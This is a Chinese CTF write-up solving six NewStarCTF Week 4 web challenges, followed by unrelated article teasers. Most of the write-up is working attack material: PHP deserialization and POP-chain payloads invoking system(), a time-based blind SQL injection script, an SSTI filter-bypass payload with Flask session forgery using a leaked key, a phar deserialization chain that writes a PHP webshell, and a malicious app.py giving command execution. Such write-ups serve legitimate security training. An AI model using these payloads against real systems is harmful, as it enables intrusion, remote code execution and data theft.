【Web】NewStarCTF Week4 个人复现

news/2024/5/20 0:36:55 标签: CTF, WEB, buuctf, 安全, 笔记

目录

①逃

②More Fast

③midsql

④InjectMe 

⑤PharOne

 ⑥flask disk


①逃

一眼字符串逃逸

bad 替换为 good  字符增加一位

先构造一下试试

<?php
class GetFlag {
    public $key;
    public $cmd = "ls /";
 
}
$a = new GetFlag();
echo serialize($a);

得到O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";} 

需要逃逸”;s:3:"cmd";s:4:"ls /";}

O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";} 

共24个字符 这样我们只需要写24个bad就行

payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

 

②More Fast

 <?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope"); 

手搓链子

Start::__destruct -> Crypto::__toString -> Reverse::__get -> Pwn::__invoke -> Web.evil()

构造一下 

<?php
class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a=new Start();
$b=new Crypto();
$c=new Reverse();
$d=new Pwn();
$e=new Web();
$a->errMsg=$b;
$b->obj=$c;
$c->func=$d;
$d->obj=$e;
$e->func="system";
$e->var="tac /f*";
echo serialize($a);

 最终payload:

fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"tac /f*";}}}}

(删去最后一个括号,可以快速触发desrtuct,可以绕过throw异常)

或者

fast=O:5:"Start":3:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}} 

(修改序列化元素个数,可以快速触发desrtuct,可以绕过throw异常)

③midsql

过滤了空格,其他没有过滤,页面没有回显,时间盲注

直接贴个脚本


import requests
 
# from tqdm import trange
res = ''
last = ' '
headers = {
    'Host': '93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):
    for j in range(127, 31, -1):
        url = r'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/?id='
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
        url = url + payload
        # print(url)
        try:
            response = requests.get(url=url, timeout=4)
        except Exception as e:
            last = res
            # print(chr(j+1))
            res += chr(j + 1)
            # print(res)
            break
    print('[*] ' + res)

 

④InjectMe 

 进来随便信息搜集一下看到一个路由的图

访问/download?file=/app/app.py

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)
from config import secret_key告诉了我们密钥的路径

访问/download?file=/app/config.py

得到secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

绕SSTI黑名单

{'user':'{%print(((g[\'pop\'][\'_\'*2~\'g\'\'lobals\'~\'_\'*2][\'_\'*2~\'b\'\'uiltins\'~\'_\'*2][\'_\'*2~\'import\'~\'_\'*2](\'OS\'|lower)[\'p\'\'open\'](\'CAT /y*\'|lower))[\'read\']()))%}'}

 session伪造

 /backdoor拿flag

 

 

⑤PharOne

初始界面有个文件上传功能

查看源码发现提示class.php

访问/class.php

 

一眼phar反序列化

构造
<?php
class Flag{
    public $cmd;
    public function __construct() {
        $this->cmd = "echo '<?=system(\$_POST[1]);?>'>/var/www/html/1.php";
    }
}
$a = new Flag();
$phar = new Phar('A.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','test'); //添加压缩文件
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //如果有文件投检测可以加上文件头
$phar->setMetadata($a);
//自动计算签名
$phar->stopBuffering();
?>
 

上传文件处有正则,同时限制文件后缀
 !preg_match("/__HALT_COMPILER/i",FILE_CONTENTS)

用gzip绕过

import gzip

with open('A.phar', 'rb') as file:
    f = file.read()

newf = gzip.compress(f) #对Phar文件进行gzip压缩
with open('aa.png', 'wb') as file:#更改文件后缀
    file.write(newf)

 上传aa.png

在class.php触发phar反序列化

file=phar:///var/www/html/upload/321532365639f31b3b9f8ea8be0c6be2.png

成功写入1.php,访问,rce拿到flag

 

 ⑥flask disk

 分别访问三个页面

 

访问admin manage发现要输入pin码,说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了

from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():    
    try:        
        cmd = request.args.get('cmd')        
        data = os.popen(cmd).read()        
        return data    
    except:        
        pass    
        
    return "1"
if __name__=='__main__':    
    app.run(host='0.0.0.0',port=5000,debug=True)

上传app.py即可

/?cmd=cat /flag 


http://www.niftyadmin.cn/n/5229843.html

相关文章

C# 用代码设置受保护的Excel

写在前面 在导出Excel文件的时候&#xff0c;为了防止文件内容被篡改&#xff0c;这时候就需要对Excel设置工作簿保护和工作表保护&#xff0c;本文使用的是Spire.XLS的免费版本来实现&#xff0c;免费版本是受限的&#xff0c;但是一般情况下已经够用了。 通过NuGet引入Free…

Redis 数据恢复方式说明

AOF日志 AOF(Append Only File)是写后日志,Redis先执行命令把数据写入内存,然后才记录日志。 实现原理 AOF 里记录的是 Redis 收到的每一条命令,这些命令是以文本形式保存的。 示例: set testkey testvalue 对应AOF文件 *3 $3 set $7 testkey $9 testvalue “*3”表示…

WPF 简单绘制矩形

Canvas 画矩形&#xff1a; view和viewModel 绑定一起才显示移动轨迹&#xff08;可以定义一个string 看是否绑定属性的路径是正确的&#xff09; 前台&#xff08;绑定事件和显示移动的线&#xff09;&#xff1a; <Canvas Name"canvas" Background"#01FF…

【工具使用-Keil】如何在编译之前使用脚本生成文件

一&#xff0c;简介 本文介绍如何在使用keil编译之前生成文件 二&#xff0c;操作步骤 2.1 生成.bat脚本 将下列代码复制到txt中&#xff0c;将VER_PATH中的变量中的"xxx"替换为自己工程中的路径&#xff0c;并将文件后缀名修改为.bat echo offREM #ifndef __VE…

C#学习-9课时

P11 IF判断(上) P11 IF判断(中 ) bool→true or false&#xff1b; 为&#xff1a;变量赋值 为&#xff1a;等于(判断) !为&#xff1a;≠ 优先级&#xff1a;大于 using System; using System.Collections.Generic; using System.Linq; using System.Text; usin…

入门Python+Vue 全栈开发高级BI数据的可视化实战项目几个技术点总结

PythonVue全栈开发是一种强大的技术组合&#xff0c;可以用于构建高级BI数据可视化项目。在这篇文章中&#xff0c;我将总结几个关键技术点&#xff0c;以帮助读者入门并实战这个领域。 数据处理和分析&#xff1a;Python是一种流行的数据处理语言&#xff0c;它提供了丰富的库…

免费WordPress站群插件-批量管理站群的免费软件

WordPress站群插件&#xff1a;让文章管理如丝般顺滑 在众多网站建设工具中&#xff0c;WordPress一直以其简便易用、丰富的插件生态而备受青睐。对于站群管理者而言&#xff0c;如何高效地更新、发布和推送文章是一项不可忽视的任务。本文将专注分享一款WordPress站群插件&am…

MidJourney笔记(5)-面板使用2

前面介绍面板使用的时候,忘记介绍了一些功能,这次再补充一下。 V1、V2、V3、V4 V1、V2、V3、V4对应图片的版本,我们可以选择对应的图片,然后基于这个图片的版本,再生成一批图片。编号是对应上图的1/2/3/4,千万不要搞错了。 我们分别点击看一下效果: